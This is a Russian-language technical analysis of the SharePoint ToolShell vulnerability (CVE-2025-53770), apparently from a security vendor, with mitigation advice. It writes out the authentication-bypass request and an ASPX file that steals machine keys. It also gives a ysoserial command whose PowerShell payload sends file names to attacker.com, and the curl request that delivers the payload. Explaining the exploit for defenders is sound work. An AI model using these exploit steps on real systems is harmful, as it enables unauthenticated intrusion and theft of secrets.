CVE-2025-53770 | ToolShell
Microsoft SharePoint — это мощная платформа для совместной работы и управления контентом, созданная корпорацией Microsoft. SharePoint стал универсальным решением, которое организации используют для хранения и работы с документами, создания корпоративных порталов и рабочих пространств, а так же для автоматизации рабочих процессов.

Вступление
Microsoft SharePoint — это мощная платформа для совместной работы и управления контентом, созданная корпорацией Microsoft. SharePoint стал универсальным решением, которое организации используют для хранения и работы с документами, создания корпоративных порталов и рабочих пространств, а так же для автоматизации рабочих процессов.
В июле 2025 года миру стало известно о новой критической zero‑day уязвимости в Microsoft SharePoint, позволяющей злоумышленнику без какой-либо аутентификации получить возможность удаленного выполнения кода (RCE) на серверах Microsoft SharePoint.
Уязвимость получила идентификатор CVE‑2025‑53770 и была прозвана ToolShell.
С 18 июля злоумышленники активно эксплуатируют эту уязвимость в реальной инфраструктуре — сотни компаний, включая госсектор и крупные корпорации, оказались под атакой вредоносного ПО, которое либо крадёт данные, либо устанавливает постоянный доступ.
Уязвимости подвержены все версии Microsoft SharePoint, начиная с:
- 16.0.0 до 16.0.5513.1001 для Microsoft SharePoint Enterprise Server 2016
- 16.0.0 до 16.0.10417.20037 для Microsoft SharePoint Server 2019
- 16.0.0 до 16.0.18526.20508 для Microsoft SharePoint Server Subscription Edition
Технический анализ
Сама по себе CVE-2025-53770 является результатом эксплуатации цепочки уязвимостей, что в совокупности приводит к получению возможности удалённого выполнения кода. В качестве основных этапов эксплуатации можно выделить следующие:
- Обход аутентификации и произвольная загрузка файла.
- Извлечение криптографических ключей.
- Генерация вредоносного сериализованного файла.
- Отправка файла на уязвимый эндпоинт.
- Проверка подписи файла и его десериализация, приводящая к RCE.
Рассмотрим атаку более подробно. Опубликованный эксплоит выглядит достаточно несложно:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1 Host: target.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Content-Length: 7699 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Referer: /_layouts/SignOut.aspx Connection: close MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<payload>
Целью атакующих является эндпоинт _layouts/15/ToolPane.aspx — именно на него отправляется первоначальный запрос, служащий "точкой входа" при эксплуатации уязвимости (отсюда же и кодовое имя уязвимости — ToolShell).
Здесь примечательно, что в запросе используется следующий заголовок:
Referer: /_layouts/SignOut.aspx
Его использование при отправке первоначального запроса позволяет обойти контроль аутентификации, заставив сервер ошибочно полагать, что пользователь уже авторизован в системе.
Следом происходит загрузка вредоносного aspx-файла. Такой файл может выглядеть, например, так:
<%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script runat="server" language="c#" CODEPAGE="65001"> public void Page_load() { var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var mkt = sy.GetType("System.Web.Configuration.MachineKeySection"); var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]); Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode); } </script>
Этот файл обрабатывается на стороне сервера, но не является веб-шеллом или реверс-шеллом, его основная задача заключается в извлечении криптографических ключей из окружения SharePoint.
Алгоритм его работы выглядит следующим образом:
- Загрузка сборки System.Web через Reflection. Это стандартный .NET-механизм, позволяющий получить доступ к конфигурационным классам ASP.NET, включая
MachineKeySection. - Получение внутреннего метода
GetApplicationConfig. С помощью рефлексии загружаетсяprivate-метод, который возвращает текущую конфигурацию приложения — и в частности,MachineKeySection. - Получение экземпляра
MachineKeySection. Метод возвращает объект, содержащий ключи:ValidationKey— для проверки подписи ViewState/form-данных;DecryptionKey— для дешифрования (если активно);- Дополнительные параметры (
Validation,CompatibilityMode).
- Вывод ключей в HTTP-ответ. Результат записывается как
ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode.
Эти ключи — ядро и основная угроза ASP.NET безопасности: без них невозможно корректно подписывать или расшифровывать ViewState и другие данные.
В 2021 году в рамках исследования CVE-2021-28474 был подробно изучен механизм обработки __VIEWSTATE на стороне сервера. SharePoint загружал и выполнял объекты ASP.NET ViewState с использованием ключа подписи, а именно ValidationKey, хранящегося в конфигурации машины:

Создавая вредоносный запрос с сериализованной полезной нагрузкой и подписывая её действительным ключом, злоумышленник мог заставить SharePoint выполнять десериализацию произвольных объектов, что приводило к удалённому выполнению кода.
Однако, эксплуатация была затруднена необходимостью действительной подписи, что, в свою очередь, требовало доступа к секретному ключу сервера.
Теперь же получение секретов стало возможным, и появление эксплоита не заставило себя долго ждать. Имея данные ключи, злоумышленник может собрать кастомный сериализованный payload (полезную нагрузку) с использованием специальных утилит (например, ysoserial):
ysoserial -p ViewState -g TypeConfuseDelegate \ -c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \ --generator="<VIEWSTATE_GENERATOR>" \ --validationkey="<VALIDATION_KEY>" \ --validationalg="<VALIDATION_ALG>" \ --islegacy \ --minify
Далее нужно лишь передать сериализованный и подписанный объект на уязвимый эндпоинт:
curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>
Эти полезные нагрузки могут вызывать выполнение любых команд и принимаются сервером в качестве доверенного ввода (благодаря успешной проверке подписи), что, в конце концов, приводит к получению RCE без каких-либо учётных данных. Это является следствием уязвимости, обнаруженной в 2021 году, ставшей частью более сложной и опасной цепочки.
Устранение
Устранение уязвимости, как это часто бывает с подобными проприетарными решениями, лежит в немедленном обновлении SharePoint до актуальной версии. Это является наиболее эффективным и полным решением, поскольку патчи от производителя напрямую исправляют уязвимый код.

При отсутствии такой возможности – необходимо завести сервис за ACL (список контроля доступа), ограничив доступ к уязвимым эндпоинтам только для доверенных источников, либо настроить соответствующее правило на WAF (Web Application Firewall) для фильтрации подозрительных запросов, блокировки известных векторов атаки и обнаружения аномальной активности, направленной на эксплуатацию уязвимости.
Заключение
Проверить версию SharePoint можно следующим образом:
export HOST=<your_host> && \ curl -s -I -X OPTIONS --connect-timeout 5 "https://$HOST" --insecure \ | grep -i "^MicrosoftSharePointTeamServices:" \ | awk '{print $2}' | tr -d '\r' 16.0.0.4534
Проверить эксплуатируемость:
- https://github.com/soltanali0/CVE-2025-53770-Exploit
- https://github.com/MuhammadWaseem29/CVE-2025-53770
Для обеспечения безопасности ваших систем SharePoint крайне важно незамедлительно обновить программное обеспечение до актуальных версий, предоставляемых Microsoft.
Регулярный мониторинг и оперативное реагирование на любые аномалии являются ключевыми элементами стратегии защиты от подобных угроз.
Шаблон для обнаружения данной уязвимости уже интегрирован в Метаскан.
ToolShell служит суровым напоминанием о постоянной эволюции киберугроз и критической важности проактивного подхода к кибербезопасности.